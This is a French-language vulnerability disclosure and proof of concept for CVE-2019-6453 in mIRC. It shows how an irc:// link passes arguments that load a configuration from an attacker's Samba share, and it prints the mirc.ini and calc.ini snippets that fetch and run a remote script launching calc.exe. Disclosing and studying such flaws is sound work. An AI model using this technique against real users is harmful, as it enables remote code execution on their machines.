
Preuve de concept (calc) pour CVE-2019-6453
Nous avons découvert une vulnérabilité d'exécution de code à distance dans mIRC via le gestionnaire de protocole URI irc://. Étant donné que mIRC n'utilise aucun type de sigile tel que -- pour marquer la fin de la liste d'arguments, un attaquant est en mesure de passer des arguments à mIRC via un lien irc:// et d'exécuter du code arbitraire en chargeant un mirc.ini personnalisé depuis un serveur de fichiers Samba contrôlé par l'attaquant. Veuillez noter que ircs:// fonctionne de la même manière.
La preuve de concept avec la calculatrice nécessite trois fichiers : mirc.ini, calc.ini et poc.html. Nous supposons qu'un serveur de fichiers Samba est exécuté du côté de l'attaquant. Pour les besoins de l'exemple, les extraits de code suivants supposent qu'il est exécuté sur l'hôte 127.0.0.1 (c'est-à-dire remplacez 127.0.0.1 par l'adresse de votre propre serveur dans les fichiers suivants pour tester cela).
mirc.ini est un fichier de configuration personnalisé qui doit être situé dans C:\mirc-poc\mirc.ini sur le serveur de fichiers.
[rfiles]
n2=\\127.0.0.1\C$\mirc-poc\calc.ini
calc.ini est un fichier de script distant qui doit être situé dans C:\mirc-poc\calc.ini sur le serveur de fichiers.
[script]
n0=on *:START: {
n1= /run calc.exe
n2=}
Le simple fait de visiter poc.html devrait fonctionner, en supposant que mIRC est défini comme gestionnaire par défaut pour le schéma d'URI irc:// et que le navigateur n'encode pas la charge utile. Selon le navigateur et votre configuration, une invite peut encore s'afficher (ce n'est pas le cas sur Firefox).

Ce PoC fonctionne pour mIRC <7.55.
Vous pouvez déclencher le PoC sur Edge 42.17134 (dernière version d'aperçu) et Firefox 64.0.2 (dernière version publiée). Cela ne fonctionne pas sur Chrome en raison de la façon dont Chrome gère les protocoles URI (l'URI est encodée avant d'être transmise à l'application).